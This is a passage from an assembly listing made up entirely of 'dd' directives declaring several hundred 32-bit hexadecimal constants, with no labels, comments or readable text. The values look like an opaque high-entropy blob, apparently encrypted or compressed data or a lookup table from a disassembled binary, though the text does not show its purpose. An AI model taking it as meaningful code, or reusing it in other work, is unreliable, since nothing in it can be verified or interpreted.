0AC89AB1Ah, 0CA39BE3Eh, 76E60F30h, 1EB6DD6Bh, 3A1D9964h dd 0C671C516h, 1ED2FAE6h, 0A4796343h, 8B3505A1h, 98F7AE84h dd 7DFC27B5h, 3B2E4284h, 4FCC4740h, 99C085Ch, 9E34E772h dd 49D87D05h, 0B6DBE727h, 5AA0E7FFh, 0B819759h, 0E5633047h dd 0D4014772h, 970EFF5Ch, 0AB0645FEh, 4BE0E390h, 0D4476278h dd 0F77C11Ah, 23DB6439h, 8CF7095Bh, 0F6173815h, 53E90FA2h dd 7B22A243h, 6D430E17h, 3813A7FAh, 0BD65112Fh, 0E221B9DAh dd 1DF43886h, 77404C48h, 0E315E291h, 0E984EB2Ah, 0C33A73D4h dd 0E67A34BDh, 19D4EDE9h, 8FC664E7h, 0C7353050h, 0A7C22287h dd 5D15A71Bh, 2E00935Bh, 5A80BADDh, 208BFCA2h, 0F580B850h dd 0CF2B9FB6h, 0EA7ADA74h, 0C32328ADh, 0E51DF267h, 9928F3C0h dd 9F45E0B1h, 20790F49h, 3CF7FAF4h, 7D577F20h, 0C1662E1Fh dd 0B3A4E119h, 0B869659h, 0AF659862h, 849A5E51h, 825F122h dd 2573A926h, 0B6FCBC25h, 0FC9040EBh, 7C6005B2h, 2EDD950Dh dd 0EEA57C18h, 2472D6C0h, 0D85C229h, 2A8EC7D3h, 3E6560CFh dd 991D89EBh, 7E417261h, 2BFBEAAh, 0C977B203h, 878FE02Ah dd 9183345Ah, 0F43FE343h, 4F55FAF1h, 76FB20E3h, 3543D36Ah dd 6F2AC48h, 0DD51F18Dh, 4759847Ch, 8710F7B8h, 361B887Bh dd 0E3792614h, 0BC7D7E7Fh, 21219C45h, 3406D6B8h, 16FD0E7Ch dd 97666693h, 446A9FACh, 0F0DA4C50h, 24D5AD61h, 545C8D7Fh dd 0A1B2AB5Eh, 2869BD7Bh, 16669BCFh, 510828Ch, 0F36A8840h dd 0A692E23Ah, 0EB6584Ah, 81C98CC2h, 2C798366h, 7D5BE9BEh dd 53133CF7h, 5432CA0Eh, 926A8A98h, 0CBEF48B9h, 0DBA05C4Bh dd 0CBEB15D0h, 6A5AB91Dh, 34EBE1AEh, 9F5750F5h, 0D5072978h dd 8DBDD8ECh, 0CE2A002Dh, 81A74733h, 0D750ABFBh, 0A182B50Eh dd 1AF7C310h, 0C74D8598h, 0B4624F0h, 3A667CBh, 2E8FF1CCh dd 4748B5EDh, 0B846777Ch, 49944440h, 0C11235FEh, 0D1F360EAh dd 0B64600DAh, 0E68C7D2Dh, 5EF3598Ch, 3DF4D34Bh, 0CCC11BF0h dd 0FD7A5237h, 57716EEFh, 0AE8EDF22h, 3B04A367h, 7787AFE2h dd 0CCCC6BE6h, 162E2DDh, 0E07CE107h, 0D01B9727h, 0FC0054C6h dd 3144768Eh, 0DBB7CECFh, 0A041A8CFh, 5CCB486h, 955E9170h dd 0B7805B4Fh, 730E547Ch, 3636555Bh, 2C05A824h, 0DE78890h dd 8D10F56Fh, 0CB783169h, 0DC719213h, 24EB1942h, 48FD60D6h dd 0B5B7AAC6h, 8344F4Bh, 0CF458DDAh, 3A95670Fh, 0A1254CE5h dd 0E43EF8E5h, 84F1330Eh, 0B20044Dh, 10009B9Ch, 0D7ABC9E4h dd 8DCF2662h, 1763DE14h, 26E5C2A5h, 619308CDh, 5FD82537h dd 824612F1h, 7072D8AEh, 0B86F0E1Eh, 0B945FE2h, 0DB401C6Fh dd 6714EEFAh, 0A745B7FCh, 0A540BBBBh, 0B9DB35FFh, 9AA139C7h dd 9A72B9F8h, 0D3F33543h, 4349CB5Dh, 1B58766Ah, 99D3EFD2h dd 6A318F4h, 12B2005Dh, 0BECD4C8Bh, 2A23D8A8h, 4D462F79h dd 85FDE316h, 914AAD74h, 0FF254737h, 0A986DD3Bh, 25F85072h dd 0FD40693Ah, 6A21623Fh, 4FA341E2h, 1A02652Bh, 29B1D77Ch dd 0D03E13D5h, 34EE25CEh, 8B0FC427h, 0E6D84103h, 165D4038h dd 9F8DF12Eh, 0C430E543h, 4CF527B7h, 9A77A1E5h, 0EFE91F28h dd 533BA6B1h, 0ED5CB013h, 7084A711h, 37E3D2D0h, 4B7BC4A8h dd 9997F8EBh, 4E54C803h, 0FD14166Bh, 0E71F4160h, 30A0AAE9h dd 284891B9h, 4B680526h, 7810EA1Eh, 4B5E046Fh, 0D36180D9h dd 0A3E1271Fh, 6F65C492h, 0F7678808h, 45F59932h, 3F12D5F0h dd 5AE4756Ah, 8285718Dh, 0D229D789h, 1FF51E64h, 0A894384Ch dd 1BDEC3F6h, 5FB987F8h, 0D8B93D4Bh, 9F6D975Ch, 9603EC57h dd 2488CBAFh, 192593CAh, 59DEC9A5h, 8212BC6h, 0CB0F53F7h dd 864B264Dh, 83B7EBA2h, 1FDBD8AEh, 8239AE9Bh, 456D1943h dd 0B84BB7F1h, 3CA8A042h, 0A49E565Fh, 79BA0746h, 4B99CC6Fh dd 267C2C05h, 83008315h, 0A2D7DAA0h, 43D22BCAh, 504CC314h dd 8D37B31Bh, 4BD5D9A6h, 0D4D772A8h, 3B78A785h, 0B76D0ED1h dd 7FA61205h, 7B9A19BFh, 2694FB0h, 0FB9D674Ah, 141267B1h dd 0FAB20670h, 2F1E9FD8h, 434B23DEh, 0DC0F26CDh, 0D1922C8Dh dd 2DB74000h, 6763B678h, 897F06ADh, 6BA72AA8h, 2D077C9Ch dd 0F2BB21BEh, 40ABC656h, 0E9AAC60Eh, 445A7A93h, 53B46FC1h dd 87DAA90Fh, 89B70094h, 0AC622F46h, 9FE7F24Ah, 97BF1462h dd 31522B52h, 0F3B47B49h, 3A9FE667h, 288D1E7Ah, 0CA0F0733h dd 0F49E15D6h, 7B025EBEh, 0C91DDA81h, 8EF8451Dh, 0B226C310h dd 5A24FAA3h, 0F5A8F402h, 0D06D4899h, 0DF61CA0Eh, 8534F56Bh dd 0E1BD087Eh, 0E4D74A29h, 4E2949D6h, 4694BB9Fh, 77A2A55Eh dd 0FABF782Dh, 2C2866h, 81656F62h, 1F115927h, 69FBD387h dd 7063C131h, 47916D1Fh, 21D617EBh, 77F47388h, 0BB992EDAh dd 3B564E6Ch, 0F8F393B7h, 0AAB357E9h, 0AF3A59h, 0FE0DF8E5h dd 132E3170h, 26DE392Eh, 441BA881h, 8AD12C3Bh, 0B5E8A402h dd 0D7E0980h, 8827B574h, 0FDAF7240h, 40014C6h, 9522D45Dh dd 0B12A3C60h, 51100826h, 628B8981h, 0C8469028h, 5A4FCFDBh dd 227AEEFAh, 0A7127F0h, 0FEF1191Eh, 816BFA9Bh, 966EC088h dd 4841D48Ch, 6449B133h, 0BDC04FB5h, 0DD401050h, 9AABFBD1h dd 8F118D7Bh, 4DBFD59Eh dd 6D8CDD12h, 254E277Eh, 3C51C225h, 90FDD2C1h, 0E6F78D18h dd 0BDC3EE58h, 0CD819771h, 1DF35F46h, 3D4C7F03h, 6EC29B5Ch dd 5340FA01h, 69A715FBh, 665257h, 1FE7E0E9h, 10446F8Eh dd 0F7C71D37h, 563428A4h, 0DAA389D3h, 0F77480A3h, 0A36D4C75h dd 347A6A0Dh, 832859ADh, 0EEAF20A3h, 0C3AF1BC4h, 646036Fh dd 0CAC45CA3h, 8FCAFEB5h, 97087E04h, 0E10D5757h, 279CAE10h dd 0AEE91091h, 0F6B27D44h, 0BD2E3DA3h, 241AC32h, 645C94B2h dd 19ABEADDh, 0BD9F9DE0h, 8CEF37B9h, 0E6982CACh, 136043A4h dd 4FB6047Eh, 47339395h, 0A41E8ED6h, 0BC798E7Ah, 0F82814F2h dd 0C20F08C4h, 351CF505h, 5C63D778h, 3AADE4A9h, 106308E0h dd 0DA33E8CCh, 3240B6CEh, 2CB592BBh, 94A94579h, 43D951C5h dd 98AA10ACh, 5772D835h, 0F3DE9E14h, 0BA987FB5h, 0A0226BE8h dd 0BA618754h, 397C999Fh, 0A1B425EBh, 0A3C8C525h, 0EE405BF7h dd 36A99D6Bh, 0A2E0F5A0h, 316F2953h, 210729F4h, 8E70C9h dd 27D9B5ACh, 1060C1CDh, 9C3E7598h, 5863A907h, 6E5EE517h dd 13624196h, 3766DC04h, 0D8A08A12h, 0DFA79EE7h, 0CDCF2DCDh dd 0B644A837h, 902D18AAh, 0AC96D8E9h, 0DC0996F3h, 0EF0D0C83h dd 50B5C4Fh, 618ED301h, 0F9A2CB87h, 0D3772C7Eh, 0FEA8BEAh dd 5AE56F96h, 59EDE51Fh, 0E0E3A812h, 2A2C8B1Ch, 432A8259h dd 0E25ADA59h, 337D89C1h, 0F9F634E6h, 50E66ADBh, 9E72F5C0h dd 81220646h, 65049E97h, 2A017D5h, 0ADFC6C11h, 0E89E6AA1h dd 0EB8210B8h, 265C5570h, 2F4E2C2Bh, 0FA441A58h, 0FAF02A6Ch dd 1597F719h, 71B63F31h, 0A037D256h, 4C6AF135h, 8999B26Eh dd 0A067DC0Eh, 60DC7DF9h, 57838974h, 476F065Bh, 96AE997Bh dd 66D7C79Ch, 365AB253h, 1D9E87DEh, 8CC3BF5Bh, 7901E2EAh dd 966F87h, 0C3A5E66h, 0F842F6B0h, 0FA8294E7h, 0AE8DC8A8h dd 9338DF4Ch, 0D33DB1D8h, 65CA95A0h, 0D28223BEh, 9A926B38h dd 80396813h, 0DD1B8D57h, 0BDB81CE7h, 0BD6FE4EAh, 1D89BCCFh dd 577A819Dh, 7AD9CFB4h, 5BD8FBF5h, 33A8F337h, 0B154BB76h dd 0ABF28E0Bh, 0ACFB4570h, 0F805C8CCh, 508A4FFFh, 61509DBBh dd 6FFA5019h, 0BA35A9A7h, 27660B3h, 0CE70AC7Ch, 0F5550EC3h dd 0FDF42A01h, 67012550h, 76E2CB5Ch, 0E34EB899h, 755AA07h dd 0E9DCE42Fh, 87D27199h, 4A2B89DDh, 6B9732ACh, 0ADCCAFA3h dd 7FE8F224h, 0D125A9E3h, 149C837h, 0A39A2F45h, 5D6BFDDh dd 8AFAB0h, 0E03A3126h, 0D3C0846Fh, 0B6038E5Ch, 9A3365EBh dd 0DB0356F2h, 234221F1h, 0AB266D76h, 0E5688343h, 1DB6D95Ah dd 0BED29281h, 0AAC99C8Ch, 91A1E61h, 5B2D46C0h, 0C24EC47Dh dd 3F2A6006h, 2AE9A36Ah, 695E7D89h, 0C3E0B085h, 6274E00Fh dd 9372B79Dh, 0B5A60FECh, 0E39E9CADh, 82E1D0B9h, 0EE0C7074h dd 0D9E94EFEh, 8218020Bh, 16E41F02h, 700091C9h, 2D3E0E68h dd 92177487h, 0CFDEA07Dh, 0EA1276E0h, 1E005623h, 10FD99ACh dd 2E105FC2h, 17CEE47Fh, 1034162Dh, 0FC88A9DDh, 2A787036h dd 98225764h, 5F7290D3h, 515D86A3h, 71170266h, 14EBDDF6h dd 0C591AB13h, 19EE6CCDh, 87BDD78Ch, 4FF24B55h, 11B69FA4h dd 0EA0B31BFh, 789191D4h, 580B5873h, 0BCF2A5D4h, 1F90EFACh dd 1236A7FBh, 0BD88561h, 0F821A95Ch, 248D1308h, 0AE2E31h dd 0ACF63E80h, 2140D791h, 0DDF9A05Bh, 77579E9Ch, 14E6B067h dd 0E92F2541h, 325D3553h, 0F41B4010h, 870C0B14h, 0FDFE0FAh dd 0EA62BADBh, 561D301Ch, 7A16276Ch, 0CF987059h, 78AFBA1Eh dd 0F4499CB9h, 0E9A70856h, 0F1A1D449h, 0A9431B77h, 0ED1D0F71h dd 98671DA8h, 7445E210h, 2EF937Ch, 0CD321CC7h, 55DDB9DAh dd 22BDC619h, 54B4ED45h, 6283632Ch, 0A916B4B4h, 3631A902h dd 0A0D8C222h, 8DAA6DB0h, 1E015499h, 1E8E187Eh, 295D7BECh dd 9AA4D43Fh, 6DF3E8B9h, 0C397CE67h, 79EE9913h, 0E846C1F1h dd 2A2248E4h, 4995ADE1h, 8F5632F8h, 970FA5F6h, 6AE4544Ah dd 9EABBFF6h, 2E96F3AAh, 585DF55h, 0E2AC4478h, 0F2CF14BBh dd 0B6F1BADDh, 0A528DBFEh, 3685C98Bh, 47273492h, 0B30AF2BBh dd 65222C9Fh, 0EAEBED7Dh, 25304AC6h, 0F4D5D550h, 5A6A1E2Eh dd 3B23933Fh, 1E7EC0EBh, 53CB7670h, 0C479F37h, 22912ED3h dd 0CA6A1F5Bh, 652985EBh, 0C32CA594h, 0BE947348h, 1F73EAC6h dd 0A1BA7AE6h, 55F7B6FBh, 56972FDAh, 0BC5D6E0Ch, 0F805A24Bh dd 1243D89Ah, 996590A7h, 6BB51F3Eh, 65A7EB4Ch, 79F9A5E3h dd 0BBBC44A4h, 169D13D0h, 0CE3756BEh, 7DCCBD86h, 446760Ah dd 2458C9Ch, 6D72BA59h, 0D0686115h, 0D61F7CFCh, 5C61D3Dh dd 2479FF92h, 121C52A2h, 0BB173BEFh, 0ADFB4C5Ah, 0E2DF55DCh dd 0D618C5B5h, 22EAB7AFh, 45A0C564h, 0E13FFE47h, 7DBD67D1h dd 0DBB7322Ah, 0FC2357C3h, 0D8C38F3Dh, 5E6D8585h, 6AB2F0A1h dd 621A4DE5h, 121138B6h, 7327C6D0h, 0CE8F51A9h, 0DA266E9h dd 3B335EC1h, 31552D7Eh, 53ADF529h, 0C60A08E6h, 81CA5490h dd 0ACEFF37Ah, 1BF9D989h, 0C99EB44Ch, 52EC14C8h, 44D891A2h dd 4D2FC78Ch, 0F796469Ch, 6E6F7F16h, 9CA3C3C1h, 0AD0EB8A6h dd 53EDBE2Dh, 370F82F2h, 2A00ECCFh, 8F61B920h, 0E2FFC24Fh dd 0C4EB7621h, 0E67DFC34h, 3DD6998Dh, 5085EC75h, 0CB018F49h dd 2EFD0099h, 16E34035h, 0ECED48BBh, 0FEBE7519h, 9751A5ECh dd 9F0187A4h, 7182071Ch, 0E1A4AA62h, 74636F30h, 2B6F1D18h dd 980842C8h, 1CD0D64Bh, 0FE718123h, 2FB3900Bh, 32C9960Eh dd 2307EA63h, 0B4B8C81h, 0CFCFB189h, 0D2292EE4h, 77B3227Fh dd 7ACBB40Fh, 0C0CBEE3Eh, 0F693C01Fh, 45B40A8Bh, 0EDC6DD64h dd 0AAF8EAD7h, 10DCE40Dh, 20916972h, 3C5DF19Ah, 0C12F2AC9h dd 0BF6285C3h, 0F2891F99h, 4DAD4A2Fh, 94BA1F67h, 5EBE9F8Bh dd 23A46A77h, 0AD94E0A9h, 0B37C5091h, 125FC10Dh, 51951778h dd 26820715h, 44656A04h, 74AFFE06h, 5AD95DB4h, 7C0B8250h dd 4F871102h, 9EA6DD65h, 0A74E7640h, 57C741C6h, 0C334AD96h dd 93CB614Eh, 0BF7F159Eh, 9A69C94Ch, 9CEB8035h, 0AC7FBE4Ah dd 3DCC00FFh, 4C51C3D9h, 9FC981A4h, 0D7FFC74Bh, 0AE90C352h dd 5733BD69h, 5A40D4DEh, 32394C8h, 0BE666FAFh, 8E97D55Eh dd 77D01171h, 55DC8C56h, 5DC6B06Ch, 41C2EC2Ah, 1B28CF67h dd 0BC33AE94h, 993F8F05h, 0F77BB8A6h, 0B25897DAh, 4025461Ch dd 18FF2AC0h, 0F54B6F68h, 0BEF5D997h, 0DAEC9404h, 0C92F89EFh dd 0C4EBED98h, 46DCF256h, 4907FA80h, 7B576147h, 5AFE3C2Ch dd 52ACF192h, 98217402h, 890E606Dh, 31854DDDh, 0A4505BAh dd 0D258D23Ch, 71F6A536h, 0B9F826CDh, 2D791173h, 1B367A26h dd 13EC026Bh, 0B3E206C9h, 5CE3280Ch, 331CC865h, 0B06BD14Bh dd 0F9445A1h, 51374116h, 23F871E8h, 0B8EB4A46h, 0B11327E4h dd 481C9CE7h, 0D994266h, 0E7C609B7h, 4A23F64Bh, 0A34CF7AAh dd 5E62CA2Bh, 645C3320h, 14AE91FBh, 734271Dh, 0E4F50856h dd 49258C39h, 482F916Fh, 147D31D3h, 49AF486Fh, 0E651DAE9h dd 6C7C77ECh, 675F9716h, 0A04F3728h, 0E9DD0632h, 9D4887E8h dd 73DA759Ah, 9DC17B12h, 1C4CCA1Fh, 12DFD4C5h, 1EA7B137h dd 68DA2B02h, 0A97BE7C1h, 289B4498h, 61D26806h, 78190006h dd 6C5893D8h, 0BB7AA335h, 0EAF97D33h, 528220BEh, 0E97AC6D9h dd 5004C5C6h, 564F3C6Ch, 134542FDh, 0C29A9048h, 0B4E54F8h dd 0B73CDEE2h, 0B426E04h dd 9F7A4C91h, 0F07B93E7h, 62C3C10h, 2BDF921Ch, 0F7097BCAh dd 0A95C6722h, 0EF2C240Ch, 1812999Eh, 81B4C98h, 493FE7B4h dd 31B79E34h, 0D00B5DA7h, 0BEA8BD53h, 0B1D120C4h, 650B0875h dd 6D437850h, 4A159D4Ch, 8252412Bh, 0E8BBD306h, 332C9F36h dd 0D58C0FBDh, 3B0FC956h, 1F1EB0BBh, 66E7B157h, 313B1377h dd 0D7DA9BFh, 8ADE9A79h, 0DFA7A18h, 0A5BD1B99h, 60669EE8h dd 0DF106536h, 5CC43B99h, 0AF7972AFh, 9561AC23h, 1BE05C38h dd 9D447D2Ch, 0A873EFBAh, 5A3E6791h, 144CA3EFh, 7514274Ah dd 6FF8B8FAh, 6B9176A4h, 0D63FBFFh, 0C9B136BDh, 48C4E24Ch dd 26E4A6EFh, 2B6E694Bh, 8C29746Ch, 0E6A3E1CEh, 64D1C75Bh dd 0CF4EB1C9h, 464A1DB4h, 0E8991ED4h, 0B8F10770h, 0C71A28h dd 7036F671h, 0B68761A9h, 0D84572AAh, 0D4298022h, 77E25C95h dd 0C10BD229h, 0C294D42Ah, 0FF09A013h, 0D4EBB4A4h, 0ADF6A48Dh dd 3EFA5079h, 1290EE33h, 31D18D9h, 0E329463Eh, 5F20970Eh dd 9D7EB88Dh, 5A47CCD1h, 8A817E46h, 7627FEC5h, 8B426975h dd 2A5C9E57h, 5BABFD5Eh, 0DB1F3D5Eh, 3C998463h, 36B33C77h dd 1816860Dh, 0D76394F7h, 0E9FA9F59h, 20A816Eh, 7C773162h dd 2DDE3F09h, 8D2CA0D5h, 83900D23h, 830400EBh, 0A3712F8Ch dd 0BE066D78h, 78FE87BFh, 650F0BD1h, 780C94C0h, 3002794h dd 462B8320h, 16A8B101h, 741F7F03h, 0B3AE89E9h, 9C1A0D46h dd 29B85257h, 7112C5D3h, 2915F928h, 5AE6FD24h, 7BA7497h dd 27571EFFh, 5352FDABh, 5F95A430h, 885DA3A0h, 116E10AEh dd 1730B7B4h, 22C00364h, 6E39DEADh, 211243CCh, 0CB80C876h dd 0C6245E85h, 59F39EE3h, 0C1A68254h, 0E2F11527h, 0C4BA331h dd 0D7690BE9h, 16C78BA2h, 0C0FB1AFAh, 0D846307Ch, 438CFC00h dd 0E0FFB354h, 0D272A996h, 756C03B8h, 3719C192h, 629DF7F1h dd 0ACFE2B95h, 331A437Fh, 0D104F295h, 726D261h, 0BF9D1814h dd 4BC99457h, 664470C9h, 1A5EE3C6h, 94CD48ABh, 77A3539Ah dd 0A29D6312h, 0C41E3D73h, 308E7138h, 0F35890A3h, 717BCD5Dh dd 6EFA42F7h, 0D3C4EF9h, 0A711513Fh, 0C1569856h, 0E4CDE110h dd 78E81ECCh, 61C5AF30h, 0B2A23AC6h, 44AF3768h, 0D9276658h dd 0C7FB31D7h, 142AD285h, 56CE8DC4h, 0FCF2FA1h, 60DB07Bh dd 814083C7h, 40DFFE61h, 39BD1035h, 601DDA3Dh, 7CC1270Ah dd 0CF96CB23h, 6C08FEE9h, 7E54D58Ch, 13B92E73h, 0ED36265Fh dd 0A65C5048h, 19910929h, 56AA1E6Bh, 0FDE434B5h, 4E609E32h dd 0F02331B4h, 0DE37CAB5h, 76954533h, 61726D94h, 0E1579E2Bh dd 0C25F5831h, 0A0D2EC8Ah, 460EF697h, 7EB758ECh, 37AB469Bh dd 767FC3B6h, 50FF9EB8h, 5B68CB0Fh, 8C75A3F0h, 9FFB8451h dd 9E122ECh, 0E6F387C4h, 7D942939h, 0C27314FFh, 9DFC4AD3h dd 6F98B132h, 16421FCEh, 0B10F2C0Ah, 0B06BF726h, 666C4062h dd 0D8AB1111h, 69C05C77h, 8A46C2C8h, 0C7F9D021h, 0B5C04BBDh dd 0C42DE916h, 53048054h, 363AEFEFh, 899A3A22h, 0CDBABFE0h dd 2E0BFAECh, 0EFF1F844h, 1FE0E081h, 832BCCC6h, 160190EEh dd 93FC34B0h, 0DA8C23E7h, 293C202Eh, 5A0AE5B0h, 0E89C8925h dd 0C5CB9567h, 0E0DA4252h, 160CB4BCh, 0FEBE36E9h, 847F8533h dd 4F1D861Eh, 714774Eh, 8297A866h, 295115FBh, 5746F323h dd 569ED710h, 69916B6Bh, 2B3AF559h, 974DBE8Dh, 5878B097h dd 8BE6F82Eh, 0F3EE10Eh, 53B5DB69h, 0F6E30B7Bh, 0A469DA0Ch dd 4ADD5BA3h, 0E72AE500h, 4F2044FEh, 7B6CD131h, 0D7B9D75Dh dd 3464A6BAh, 0DCC98C2Dh, 0EFA57556h, 0CB45983Eh, 0CFC2BD69h dd 0AD008ADBh, 0A6792565h, 0DA6802D9h, 3128DD93h, 0D6E2214Bh dd 1D249B43h, 11701410h, 0F22C6B10h, 7287D051h, 560D0640h dd 4132CC9Ah, 0A0BC653Eh, 4DC643C9h, 0C9980575h, 0CDA53682h dd 5D2A43C7h, 1B0F5A82h, 0B5228E19h, 0C70982CEh, 798CE8A5h dd 7F5400FAh, 7DEF75EAh, 0C3EB7CC1h, 6E88A47h, 0BD8C6462h dd 0F578FF6Fh, 971C7027h, 296CF674h, 7B8C049Bh, 956B46BFh dd 8B3A54FDh, 36FDF1D2h, 4B0C67F7h, 3CCCFA60h, 99B84E8Bh dd 0FABE6757h, 1845B6FDh, 0A78BCD02h, 16338202h, 0C5BE7C85h dd 0CFAC6056h, 0F60F5F21h, 6BE085D0h, 0C12B3E92h, 0FDD046Eh dd 0B0E4B7FFh, 53E1C7ABh, 0FD0CC6Eh, 6975F82Bh, 0CC9A6835h dd 0FE14C006h, 0CAD7BAACh, 1EEACD7h, 0A149F99Bh, 6F4B64B6h dd 6B34B1ADh, 4DC428B7h, 2020F539h, 0E13FF75Eh, 159C29D8h dd 8B1420Bh, 677E508Dh, 5786CF05h, 0CE010BAEh, 3C41AF5h dd 8CDFCA83h, 0BBF4DDAh, 91EBC19Dh, 9B020F65h, 0E157B034h dd 8BE232C7h, 4F96FB11h, 38DCA558h, 0BC52C3C4h, 8822D445h dd 6EB10065h, 3D006FECh, 0C8F263C6h, 0D6013F02h, 11A80AABh dd 1509C1C1h, 7FBF9F9h, 0DA6A6E47h, 63E4CAB6h, 0C0277103h dd 0F20A46EFh, 0E8F9808Eh, 4496D0DCh, 69F33124h, 542C64DEh dd 46D8154h, 72641F3Fh, 0FECCFD2Bh, 0DB7DC236h, 0AD69989Bh dd 1FE09A41h, 0D28DC9F5h, 61D2BC5h, 3D2035C3h, 0FAE2253Eh dd 0A5FC90A8h, 5D66744Bh, 700575D2h, 0FF16773Bh, 0FF1AFA16h dd 0AA1E82E3h, 0B3690434h, 2BD2923Eh, 0F6C2902Ah, 3BF7768Bh dd 8420F951h, 7CCBA4Ch, 94688791h, 71E89576h, 19D27EE6h dd 0A7ABBB87h, 4E460161h, 566E0E59h, 0BE62A3C7h, 92DA39C8h dd 76C0941Ah, 0C3A8B8CFh, 3EED05ADh, 5E4D7234h, 0E03D2FBCh dd 0D990AA13h, 6241022Eh, 627AC5A1h, 925A5CEh, 62F9F8AEh dd 53BA2B67h, 0CD4AC238h, 65C9824Bh, 19ED37Ch, 4CFD4839h dd 16C37A79h, 85CC71F4h, 86DB6790h, 0EA32B8B3h, 776A9776h dd 0B6DCB5Eh, 559257B1h, 498146E1h, 0FAD9ED72h, 9092FFE6h dd 425821D9h, 8F7456B1h, 8137F24Ah, 1E6328Eh, 5437EF3Eh dd 0A0F27AEBh, 99ABB970h, 7B8F7E03h, 94AD31A9h, 6DD1A755h dd 9761BE46h, 0D67DFCADh, 4EA0B247h, 0A2AB1BEAh, 0E227EA32h dd 94159F55h, 58CA1C37h, 751FF55Ch, 45F9DE11h, 0DC30EF88h dd 6E87B0CBh, 0B6BDFF83h, 1C0E6A8Ch, 9DCDDB25h, 6482342Ch dd 0E1ABAB10h, 0DEFC3489h, 0BED68156h, 978E06EEh, 90EF50C2h dd 0C8D1D414h, 62A17E00h, 4CEFDCA5h, 0F03EEC43h, 0E268B0C9h dd 0D7778F29h, 82B79DACh, 722E4C9h, 0A8B032DCh, 67F10F10h dd 710FBE7Ah, 7D91ECD2h, 0A5832152h, 0C01D256Dh, 0C02A0D08h dd 250565ADh, 1539009Ah, 0A131F2EEh, 4DE7297h, 5C13481Dh dd 0D00B3248h, 0FDBD6F21h, 0B8E7341Eh, 0A7F831FFh, 562F327Eh dd 6B240242h, 0F4046A21h, 0C87FDDB6h, 0FFC5EB52h, 0BA1FE902h dd 21B91FBh, 32FE13F9h, 4E819B60h, 87583B5Eh, 2558F4F6h dd 0EE664902h, 0B0D144D0h, 31BCF7ABh, 8E16DC55h, 89ABE930h dd 6ACF875Fh, 8A14208Dh, 96371F23h, 96BA809Ah, 7A330710h dd 7244F633h, 0FE285756h, 8EA7ADC6h, 2B2D27CDh, 0AAF818E6h dd 0F0A64F43h, 7517DBB5h, 0C34CAD80h, 0FB95E3D4h, 986007B2h dd 8158E565h, 15415ECh, 0BF7E864Ah, 0DE11C476h, 7588C54Fh dd 0EA57DEB6h, 5ABB89BDh, 0CDF48CDAh, 5A65F676h, 3319F20h dd 2051CB22h, 0CAF2DD15h, 0ED50B767h, 0D379C6Ch, 3F96153Ah dd 1BEF930Bh, 0DE7D0BB1h, 6141C5E9h, 0F2F5782Eh, 0A547415Dh dd 4D52755h, 0AC865DA5h, 3E14D6DEh, 54EC4523h, 4D781F7Bh dd 0D11E49E6h, 90FDAC11h, 6C2A9DEFh, 388EF026h, 0C5711494h dd 4965DD67h, 1101ABA1h dd 6662E42Eh, 0CD1833EBh, 768FB039h, 741B1284h, 0E8AE94D0h dd 0A8A08595h, 6B415033h, 3E1CE70Bh, 36C7CE6Ch, 139812A9h dd 0E7835FDCh, 5B0E4213h, 0A735F1BDh, 311120D6h, 24E9C00Ch dd 81213DA4h, 9AB35355h, 0D01FCECBh, 56A8E8EEh, 0B9D9CBE3h dd 19908A8Dh, 0B4FF609Ch, 0DCAC1F20h, 0BF2EE1FDh, 0B50AF829h dd 4031D01Ah, 0DDB7A730h, 0DB8DB429h, 7A4009ADh, 493AF349h dd 700A44Ch, 7F62BF11h, 5E620628h, 725E2CEBh, 0E4143A8Bh dd 2B258235h, 4AA0D156h, 0C992458Fh, 90C66E4Dh, 65B5EB92h dd 5BF0AAA7h, 89BE2279h, 9709E0F5h, 0A43705FFh, 45864FC7h dd 0DEEC0982h, 1D649C3Fh, 8C270D22h, 0AD9878A4h, 6D2FAC07h dd 600BED78h, 8E3E60FEh, 6D795A63h, 7C7E40C4h, 80AA9849h dd 0D237221Ah, 0AB6A465Ah, 39EA4DDCh, 5E2FE6FEh, 55472792h dd 0C5669E8Eh, 0F2372529h, 0B171E0Ch, 0C5E4DCC2h, 41C4BCFBh dd 7D03E197h, 15578EAEh, 0DB51291Fh, 6F5B3D77h, 0C40BC76Ah dd 5233D9F7h, 0DBC1070Ah, 469E2B46h, 164AC843h, 0AD1582DDh dd 0C25936FFh, 0E134E85Ah, 15422701h, 73DE1172h, 7A344123h dd 0C5CF51A2h, 3481D800h, 18FEC12Ah, 0ED4C23EFh, 2F76A797h dd 67574080h, 542C970Eh, 0F0F3D577h, 97EBC21Fh, 0E2D05367h dd 0F62F027Eh, 4F6BBA28h, 56B3F3F6h, 0A454D06Dh, 45C7C5EFh dd 0F2ECB12Fh, 14985722h, 2CB8CF05h, 591AFA60h, 269A2500h dd 0FE747367h, 2B17B178h, 3231CC77h, 41C3A63Bh, 0AF2E6166h dd 89BF02Ah, 973F2C63h, 2701575Dh, 0BC286E90h, 90EA8D06h dd 9A172A8Dh, 7310EC6Eh, 0B0DCA1B5h, 0E5437A9Eh, 8963F38Ah dd 9D4CC7Ch, 0E3D99186h, 0A83F3542h, 8A4287FBh, 57FC03EFh dd 347980C4h, 3A228AABh, 59E4EC91h, 21799F27h, 0CDD79C11h dd 0A574941Ah, 8C415787h, 0CAE16AC5h, 0C585D5C4h, 84CBB405h dd 0CABCEDF2h, 0EDAEB364h, 5B0D7933h, 72967CD7h, 0B8BF8767h dd 0BDD65589h, 0AAEDF020h, 0F974E58Fh, 0D2E7B2FCh, 685E9A5Ch dd 0B2616836h, 0C50D9E2Ah, 0C09BEEF1h, 9D5EC9Fh, 0E7038814h dd 89838D0Ch, 82F417B3h, 7E224D73h, 33B5D12Fh, 99D0B523h dd 0D506F85Bh, 0A97947F5h, 61480520h, 78CC41D3h, 0F12B6CDEh dd 0E0C9A6EEh, 34BDD081h, 0CC10AE4Dh, 0DD7F2791h, 9B8F2182h dd 0B47A65B2h, 9FB1B824h, 13062126h, 0D3FA0B3Dh, 0ABC1C7A2h dd 0D62606C7h, 0E358268Eh, 393B9416h, 0DBA35ECAh, 35F1D5A0h dd 0E7AF31F5h, 78028320h, 4293E64Fh, 0AB761FA9h, 0CFC75EEDh dd 93020B1Fh, 0E2E2F6Fh, 0C5F73CEAh, 1E9121C3h, 0A6045C2Fh dd 0FFE8F856h, 70F22296h, 0B9E7D2F5h, 0C89488C4h, 65C95BABh dd 0C25EDC67h, 1E4C7E88h, 0F844A05Fh, 808BC9ECh, 39704284h dd 26E7BD21h, 0C66E88A6h, 4169E760h, 77938905h, 46D2AF8Fh dd 31680DA2h, 0F1DB2F7Eh, 53E04328h, 0EBED7DE6h, 1B5CD0FAh dd 0E055BEB3h, 0C3551698h, 915C8964h, 72A5959Ch, 